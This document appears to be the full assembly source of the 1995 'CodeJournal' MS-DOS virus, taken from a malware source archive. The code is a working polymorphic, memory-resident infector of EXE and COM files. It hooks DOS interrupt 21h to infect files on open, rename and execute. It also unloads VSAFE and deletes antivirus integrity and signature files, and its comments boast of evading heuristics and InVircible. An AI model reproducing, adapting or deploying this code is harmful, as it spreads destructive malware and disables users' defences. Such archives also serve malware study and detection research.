MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.cj.asm
2021-01-12 17:34:47 -06:00

589 lines
19 KiB
NASM

;
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; CodeJournal virus, (c)1995 ûirogen [NuKE]
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Polymorphic, Resident, Parastic EXE/COM Fast Infector. This is
; another one of my fuck-Invircible viruses. It uses absolutly
; no stealth techniques, yet successfully piggybacks invircible.
;
; Anti-Invircible Code
; ----------------------
; Completly defeats InVircible's v6.02 Anti-Piggybacking
; Avoids Bait Files
; Doesn't infect InVircible executables
; Deletes Invircible v6.02 signature files no matter what name they have
; Searches for and deletes them on set dir (21h/3Bh) call
;
; The Rest
; ----------------------
; Polymorphism is ûiCE v0.5
; Infects on: Open (3Dh), Rename (56h), Ext. Open (6Ch), Execute (4Bh)
; Doesn't infect executables ending in 'AN', 'OT', 'AV', 'NU', or 'ND'.
; Attempts to get DOS 21h vector by assuming offset is 109Eh in DOS seg.
; Deletes all signature/recovery files known to man
; TBSCAN doesn't flag COM files at all because of my patented JMP construct
; Only subtracts from total memory when DOS allocate memory (49h) is called
; ..and then the usual shit..
;
;
;
;
cseg segment
assume cs: cseg, ds: cseg, es: cseg, ss: cseg
signal equ 063ABh
buf_size equ 850
vice_size equ 1993+buf_size
virus_size equ (offset vend-offset start)+VICE_SIZE
max_iv_size equ 256*66 ; maximum size a signature file
; can be, speeds up search.
; can't contain more than 256
; records
extrn _vice: near
org 0h
start:
call get_bp ; get relative offset
nx:
push ds es ; save segments for EXE
inc si ; SI!=0
mov ax,signal
int 21h
or si,si
jz no_install
mov dx,5945h ; remove VSAFE from memory
mov ax,3D02h
add ax,0FA01h-3D02h
int 21h
mov cs:int_busy[bp],0 ; reset interrupt busy flag
mov ax,ds ; PSP segment
dec ax ; mcb below PSP m0n
mov ds,ax ; DS=MCB seg
mov al,'Z'+1 ; fuck heuristics
dec al
cmp byte ptr ds: [0],al ; Is this the last MCB in chain?
jnz no_install
sub word ptr ds: [3],((virus_size+1023)/1024)*64*2 ; alloc MCB
sub word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc PSP
mov es,word ptr ds: [12h] ; get high mem seg
push cs
pop ds
mov si,bp
mov cx,virus_size/2+1
xor di,di
rep movsw ; copy code to new seg
xor ax,ax
mov ds,ax ; null ds
push ds
lds ax,ds: [21h*4] ; get 21h vector
mov es: word ptr old21+2,ds ; save S:O
mov es: word ptr old21,ax
pop ds
mov ds: [21h*4+2],es ; new int 21h seg
mov ds: [21h*4],offset new21 ; new offset
no_install:
pop es ds ; restore ES DS
xor ax,ax ; null regs
xor bx,bx
xor dx,dx
cmp cs: is_exe[bp],1
jz exe_return
lea si,org_bytes[bp] ; com return
mov di,0100h ; -restore first bytes
mov cx,3
rep movsb
xor di,di
xor si,si
mov cx,100h ; jump back to 100h
push cx
_ret: ret
exe_return:
xor di,di
xor si,si
mov cx,ds ; calc. real CS
add cx,10h
add word ptr cs: [exe_jump+2+bp],cx
cli
add cx,cs:orgss[bp] ; calc. real SS
mov ss,cx
mov sp,cs:orgsp[bp] ; restore SP
sti
int 3 ; fix prefetch
db 0eah
exe_jump dd 0
is_exe db 0
get_bp:
int 3
pop bp
push bp
sub bp,offset nx
ret
; resident infection function
infect_file:
cmp ah,6ch+1 ; from extended open?
jnz not_extended
mov dx,si
not_extended:
mov di,dx
mov al,'.'
mov cx,0FFh
repnz scasb
or cx,cx
jnz got_ext
ret
got_ext:
cmp word ptr [di],'oc'
jz is_exec
cmp word ptr [di],'OC'
jz is_exec
cmp word ptr [di],'xe'
jz is_exec
cmp word ptr [di],'XE'
jz is_exec
is_bad:
ret
is_exec:
cmp word ptr [di-3],'DN' ; *ND
jz is_bad
cmp word ptr [di-3],'NA' ; *AN
jz is_bad
cmp word ptr [di-3],'VA' ; *AV
jz is_bad
cmp word ptr [di-3],'TO' ; *OT
jz is_bad
cmp word ptr [di-3],'UN' ; *NU
jz is_bad
push ds
xor ax,ax
mov es,ax
lds ax,es: [24h*4]
mov cs: save24ip,ax ; save 24h
mov cs: save24cs,ds
lds ax,es: [21h*4]
mov cs: save21ip,ax ; save 21h
mov cs: save21cs,ds
mov es: [24h*4+2],cs ; write new 24h
mov es: [24h*4],offset new_24
push es
mov ah,52h ; get DOS segment
int 21h
pop ds
mov si,109Eh ; assume 109Eh
cmp es: [si],09090h ; is DOS vecor?
jnz not_dos
mov ds: [21h*4],si ; write new 21h
mov ds: [21h*4+2],es
not_dos:
pop ds
push cs
pop es
mov al,0 ; get phile attribute
call attrib_file
push cx ; save CX-attrib
mov al,1 ; null attribs
xor cx,cx
call attrib_file
mov al,2
call open_file
jc dont_do
push cs
pop ds
mov cx,1ah
lea dx,org_bytes
call read_file
mov al,0 ; get time/date
call date_file
push cx dx
cmp byte ptr org_bytes,'M'
jz do_exe
cmp byte ptr org_bytes,90h ; InVircible bait?
jz close
cmp byte ptr org_bytes,0E9h ; us? / invircible bait?
jz close
mov is_exe,0
call offset_end
cmp ax,0FFFFh-virus_size ; file too big?
ja close
push ax ; AX=end of file
lea si,start ; DS:SI=start of code to encrypt
mov di,virus_size ; ES:DI=address for decryptor/
push di ; encrypted code. (at heap)
mov cx,virus_size ; CX=virus size
mov dx,ax ; DX=EOF offset
add dx,100h ; DX=offset decryptor will run from
mov al,00000011b ; garbage, no CS:
call _vice ; call engine!
pop dx
call write_file
call offset_zero
pop ax ; restore COM file size
sub ax,3 ; calculate jmp offset
mov word ptr new_jmp+1,ax
lea dx,new_jmp
mov cx,3
call write_file
close:
pop dx cx ; pop date/time
mov al,01 ; restore the mother fuckers
call date_file
dont_do:
pop cx ; restore attrib
mov al,1
call attrib_file
call close_file
xor ax,ax
mov es,ax
lds ax,dword ptr cs: save24ip ; restore shitty DOS error handler
mov es: [24h*4],ax
mov es: [24h*4+2],ds
lds ax,dword ptr cs: save21ip
mov es: [21h*4],ax
mov es: [21h*4+2],ds
ret
do_exe:
cmp word ptr exe_header[12h],0 ; is checksum (in hdr) 0?
jnz close ; could be iv bait if not
cmp byte ptr exe_header[18h],52h ; pklite'd?
jz exe_ok
cmp byte ptr exe_header[18h],40h ; don't infect new format exe
jge close
mov ax,word ptr exe_header[0Ah] ; get minimum memory
cmp word ptr exe_header[0Ch],ax ; if max mem=min mem then ok
jz exe_ok
cmp byte ptr exe_header[0Ch],0FFh ; max memory FFFFh?
jnz close
exe_ok:
push bx
mov ah,2ch ; grab a random number
int 21h
mov word ptr exe_header[12h],dx ; mark that it's us
mov is_exe,1
les ax,dword ptr exe_header[0eh] ; get old SS:SP
mov word ptr orgss,ax ; not reversed
mov word ptr orgsp,es
les ax,dword ptr exe_header[14h] ; Save old entry point
mov word ptr exe_jump, ax
mov word ptr exe_jump+2, es
push cs
pop es
call offset_end
mov cx,10h ; divide by 16
div cx
sub ax, word ptr exe_header[8] ; subtract header size
mov word ptr exe_header[14h],dx ; new cs:ip
mov word ptr exe_header[16h],ax
inc ax
mov word ptr exe_header[0eh],ax ; new SS
mov word ptr exe_header[10h],0F000h ; new SP
lea si,start ; DS:SI=start of code to encrypt
mov di,virus_size ; ES:DI=address for decryptor & code
mov cx,virus_size ; CX=virus size
mov al,00000010b ; garbage, use CS:
call _vice ; call engine!
pop bx ; pop handle
mov dx,virus_size
call write_file ; append virus
call offset_end ; get adjusted file size
mov cx,512 ; divide by 512
div cx
inc ax ; add a page
mov word ptr exe_header+4,ax ; save new size
mov word ptr exe_header+2,dx
call offset_zero
mov cx,18h ; write fiXed header
lea dx,exe_header
call write_file
jmp close
offset_zero:
xor al,al
jmp set_fp
offset_end:
mov al,02h
set_fp:
mov ah,42h
xor cx,cx
xor dx,dx
int 21h
ret
open_file:
mov ah,3dh
int 21h
xchg ax,bx
ret
close_file:
mov ah,3eh
int 21h
ret
read_file:
mov ah,3fh
int 21h
ret
write_file:
mov ah,40h
int 21h
ret
attrib_file:
mov ah,43h
int 21h
ret
date_file:
mov ah,56h
int 21h
ret
new21:
pushf
cmp ax,signal ; be it us?
jnz nchk ; richtig..
xor si,si
popf
iret
nchk:
cmp cs:int_busy,1 ; are we already in int?
jz jmp_no_stack
mov cs:int_busy,1 ; now we are
inc ah ; fuck heuristics
cmp cs: fix_mem,1 ; need to fix memory?
jz add_mem
cmp ah,48h+1 ; allocate memory?
jz sub_mem
cmp ah,3Bh+1 ; set dir?
jz kill_anti_virus
cmp ah,4bh+1 ; execute phile?
jz go_infect
cmp ah,3dh+1 ; open phile?
jz go_infect
cmp ah,6ch+1 ; extended open?
jz go_infect
cmp ah,56h+1 ; rename/move phile?
jnz jmp_org
go_infect:
call push_regs
call infect_file
call pop_regs
jmp_org:
dec cs:int_busy ; not busy anymore
dec ah ; restore function
jmp_no_stack:
popf
db 0eah ; jump far XXXX:XXXX
old21 dd 0
si_jmp_org:
pop si
jmp jmp_org
add_mem:
mov cs: fix_mem,0
push ax ds
xor ax,ax
mov ds,ax
add byte ptr ds: [413h],((virus_size+1023)*2)/1024 ;+totalmem
pop ds ax
jmp jmp_org
sub_mem:
mov cs: fix_mem,1
push ax ds
xor ax,ax
mov ds,ax
sub byte ptr ds: [413h],((virus_size+1023)*2)/1024 ;-totalmem
pop ds ax
jmp jmp_org
kill_anti_virus:
call push_regs
push cs
pop ds
mov ah,2fh ; get DTA
int 21h
push bx es ; save DTA
push cs
pop es
lea dx,ff_info
call set_dta
mov cx,16h ; include all attribs
lea dx,inv_spec
mov ah,4eh
int 21h ; findfirst
jnc inv_loop
jmp inv_done
inv_loop:
lea si,f_name
push si
mov dx,si
cmp word ptr [si+4],'V-' ; ANTI-VIR.DAT?
jz is_anti
cmp word ptr [si+8],'SM' ; CHKLIST.MS?
jz is_anti
cmp word ptr [si+8],'PC' ; CHKLIST.CPS?
jz is_anti
cmp f_sizeh,0 ; high word set?
jnz findnext
cmp f_sizel,max_iv_size ; too big?
jg findnext
mov al,0
call open_file
jc findnext
mov byte ptr inv_buf,0
mov cx,44h
lea dx,inv_buf
call read_file
cmp ax,44h
jz record_s
mov ax,word ptr inv_buf
mov word ptr inv_buf[42h],ax
record_s:
call close_file
lea si,inv_buf
call chk_iv ; check first record
jnz findnext
lea si,inv_buf[42h]
call chk_iv ; check second record
jnz findnext
is_anti:
mov al,1 ; reset attribs
xor cx,cx
call attrib_file
mov ah,41h
lea dx,f_name
int 21h
findnext:
mov al,0 ; null out filename
pop di ; di-> fname
mov cl,13
rep stosb
mov ah,4fh
int 21h
jc inv_done
jmp inv_loop
inv_done:
pop ds dx ; restore DTA
call set_dta
no_kill:
call pop_regs
jmp jmp_org
set_dta:
mov ah,1ah
int 21h
ret
chk_iv:
cmp word ptr [si],'ZM'
jz yea_iv
cmp word ptr [si],'KP'
jz yea_iv
cmp word ptr [si],0EA60h
yea_iv:
ret
push_regs:
mov cs:_bp,bp
pop bp
push ax bx cx di dx si ds es
push bp
ret
pop_regs:
pop bp
pop es ds si dx di cx bx ax
push bp
mov bp,cs:_bp
ret
new_24: ; critical error handler
mov al,3 ; prompts suck, return fail
iret
inv_spec db '*.*',0
credits db 'CodeJournal by ûirogen [NuKE]'
orgss dw 0 ; original SS:SP in exe
orgsp dw 0 ;
fix_mem db 0
new_jmp db 0E9h,0,0 ; jmp XXXX
rel_off dw 0
exe_header:
org_bytes db 0CDh,20h, 6 dup (0) ; original COM bytes | exe hdr
vend:
db 13h dup(0) ; remaining exe header space
save21ip dw 0 ; infected int21h vector
save21cs dw 0
save24ip dw 0 ; old int24h vector
save24cs dw 0
_bp dw 0
int_busy db 0
ff_info db 26 dup(0)
f_sizel dw 0
f_sizeh dw 0
f_name db 13 dup(0)
inv_buf db 44h dup (0)
cseg ends
end start